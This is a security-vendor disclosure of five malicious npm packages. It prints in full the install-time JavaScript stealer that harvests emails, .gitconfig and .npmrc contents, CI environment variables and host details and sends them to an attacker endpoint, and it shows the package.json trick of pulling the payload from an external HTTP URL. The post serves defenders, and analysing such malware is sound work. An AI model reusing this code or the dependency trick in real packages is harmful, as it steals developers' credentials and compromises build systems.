Five npm malicious packages caught exfiltrating CI/CD and local machine secrets
Today we are disclosing a significant supply-chain compromise in the npm ecosystem. Five npm packages published by the user npmhell, all of which have now been removed from the registry, have been downloaded multiple times (200+ downloads each) in the last 30 days. These packages were built with malicious install-time code designed to harvest developer and CI environments. This article walks through what we uncovered, the attack mechanism, and what you should do if you have been affected.
The Affected Packages
The following packages were identified:
op-cli-installer (npmjs.com/package/op-cli-installer)
unused-imports (npmjs.com/package/unused-imports)
badgekit-api-client (npmjs.com/package/badgekit-api-client)
polyfill-corejs3 (npmjs.com/package/polyfill-corejs3)
eslint-comments (npmjs.com/package/eslint-comments)
One of them, badgekit-api-client, is now formally catalogued in the OSV database as:
MAL-2025-48774 – Malicious code in badgekit-api-client (npm) – “Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately.”
Code analysis
All the above packages pulled in the same index.js file (reported below) using external dependencies not hosted on npm and declared in the package.json file.
What does this script do
It executes during npm install (via preinstall or similar lifecycle hook).
It harvests environment information: OS, platform, architecture, hostname, local and public IP, current directory, node version, process id, etc.
It also harvests credentials/identities: user email(s) from environment vars, .gitconfig, .npmrc, package.json author/email.
It reaches out to attacker infrastructure: http://packages.storeartifact.com/jpd.php (and a lookup endpoint).
It uses an external HTTP URL dependency in package.json (e.g., “ui-styles-pkg”: “http://packages.storeartifact.com/npm/op-cli-installer”) which bypasses registry control.
const os = require("os");
const https = require("https");
const fs = require("fs");
const path = require("path");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Function to detect user email from various sources
function detectUserEmail() {
const emailSources = {};
// 1. Check environment variables
const emailEnvVars = [
'EMAIL', 'USER_EMAIL', 'GIT_EMAIL', 'GIT_AUTHOR_EMAIL',
'GIT_COMMITTER_EMAIL', 'npm_config_email', 'npm_package_author_email'
];
emailEnvVars.forEach(envVar => {
if (process.env[envVar]) {
emailSources[`env_${envVar}`] = process.env[envVar];
}
});
// 2. Check git config
try {
const gitConfigPath = path.join(os.homedir(), '.gitconfig');
if (fs.existsSync(gitConfigPath)) {
const gitConfig = fs.readFileSync(gitConfigPath, 'utf8');
const emailMatch = gitConfig.match(/email\s*=\s*(.+)/);
if (emailMatch) {
emailSources.git_config = emailMatch[1].trim();
}
}
} catch (e) {}
// 3. Check npm config
try {
const npmConfigPath = path.join(os.homedir(), '.npmrc');
if (fs.existsSync(npmConfigPath)) {
const npmConfig = fs.readFileSync(npmConfigPath, 'utf8');
const emailMatch = npmConfig.match(/email\s*=\s*(.+)/);
if (emailMatch) {
emailSources.npm_config = emailMatch[1].trim();
}
}
} catch (e) {}
// 4. Check package.json author
try {
const packagePath = path.join(process.cwd(), 'package.json');
if (fs.existsSync(packagePath)) {
const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8'));
if (pkg.author) {
if (typeof pkg.author === 'string') {
const emailMatch = pkg.author.match(/<(.+?)>/);
if (emailMatch) {
emailSources.package_author = emailMatch[1];
}
} else if (pkg.author.email) {
emailSources.package_author = pkg.author.email;
}
}
}
} catch (e) {}
return emailSources;
}
// Collect CI/CD and Environment Information
const ciEnvVars = {
// Common CI variables
CI: process.env.CI,
CI_NAME: process.env.CI_NAME,
CI_SERVER: process.env.CI_SERVER,
CI_SERVER_NAME: process.env.CI_SERVER_NAME,
CI_SERVER_VERSION: process.env.CI_SERVER_VERSION,
// GitHub Actions specific
GITHUB_ACTION: process.env.GITHUB_ACTION,
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
GITHUB_ACTOR: process.env.GITHUB_ACTOR,
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY,
GITHUB_RUN_ID: process.env.GITHUB_RUN_ID,
GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW,
// GitLab CI specific
GITLAB_CI: process.env.GITLAB_CI,
CI_PROJECT_ID: process.env.CI_PROJECT_ID,
CI_PROJECT_NAME: process.env.CI_PROJECT_NAME,
CI_PROJECT_PATH: process.env.CI_PROJECT_PATH,
// Jenkins specific
JENKINS_URL: process.env.JENKINS_URL,
BUILD_URL: process.env.BUILD_URL,
BUILD_TAG: process.env.BUILD_TAG,
JOB_NAME: process.env.JOB_NAME,
// CircleCI specific
CIRCLECI: process.env.CIRCLECI,
CIRCLE_PROJECT_REPONAME: process.env.CIRCLE_PROJECT_REPONAME,
CIRCLE_USERNAME: process.env.CIRCLE_USERNAME,
CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL,
// NPM specific
npm_package_name: process.env.npm_package_name,
npm_package_version: process.env.npm_package_version,
npm_config_registry: process.env.npm_config_registry,
// General process info
USER: process.env.USER,
LOGNAME: process.env.LOGNAME,
HOME: process.env.HOME,
PATH: process.env.PATH ? process.env.PATH.split(':') : null
};
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
processId: process.pid,
nodeVersion: process.version,
userEmail: detectUserEmail(), // Added email detection
runtimeInfo: {
argv: process.argv,
execPath: process.execPath,
env: ciEnvVars
},
timestamp: new Date().toISOString()
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of endpoints
const endpoints = {
log: "http://packages.storeartifact.com/jpd.php",
lookup: "http://packages.storeartifact.com/jpd.php?action=lookup"
};
// Get available endpoint
function getEndpoint(type = 'log') {
return endpoints[type];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => {
if (typeof value === 'object') {
return `${encodeURIComponent(key)}=${encodeURIComponent(JSON.stringify(value))}`;
}
return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
})
.join("&");
}
// New function to lookup systems by email
async function lookupByEmail(email) {
try {
const fetch = await getFetch();
const response = await fetch(`${getEndpoint('lookup')}&email=${encodeURIComponent(email)}`);
return await response.json();
} catch (error) {
console.error("Email lookup failed:", error);
return null;
}
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getEndpoint('log')}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getEndpoint('log'), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
// Perform email lookup after sending data
if (data.userEmail && Object.values(data.userEmail).length > 0) {
const primaryEmail = Object.values(data.userEmail)[0];
const lookupResult = await lookupByEmail(primaryEmail);
console.log("Email lookup result:", lookupResult);
}
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Dependency Trick
The published package.json for one of the malicious modules showed how the attacker managed to go stay under the radar ,as the “official” packages only contained a “console.log(“Hello)” line of code. The malicious payload is pulled as external dependency.
{
"name": "op-cli-installer",
"version": "1.0.0",
"description": "JPD",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"ui-styles-pkg": "http://packages[.]storeartifact[.]com/npm/op-cli-installer"
},
"devDependencies": {
"ui-styles-pkg": "http://packages[.]storeartifact[.]com/npm/op-cli-installer"
},
"engines": {
"node": ">=14.0.0"
},
"keywords": [],
"author": "JPD",
"license": "ISC"
}
This is significant because instead of pointing to a version hosted on the npm registry, it points to a custom HTTP URL. That means the code fetched at install time is fully controlled by the attacker and likely not visible to standard registry-scanning tools.
Rapid removal but high risk
After reporting these packages, npm removed them from the registry. However, removal does not undo installations already done — any system that installed these packages (or built with them) may already be compromised.
Why This Attack Works
The npm ecosystem allows easy publishing and low friction for packages; malicious actors exploit this openness.
Lifecycle scripts (preinstall, install, postinstall) execute arbitrary code at install time, often without developer awareness.
External URL dependencies (not from registry) subvert trust and reproducibility.
Harvested information (emails, CI environment, machine context) can lead to stolen credentials or pivoting into build systems, cloud infrastructure, or developer workstations.
Developers often trust “popular” or “similar-named” packages and may implicitly include them (transitive dependency) without full review.
Best Practices
We see this happening more and more and while automated tools are ok for pointing out vulnerabilities in code, for these types of attacks the manual investigation is still the only effect way of preventing infections.
We put together a checklist for developers to analyse packages before importing them in the codebase.
https://github.com/dcodx/npm-security-best-practices/tree/main


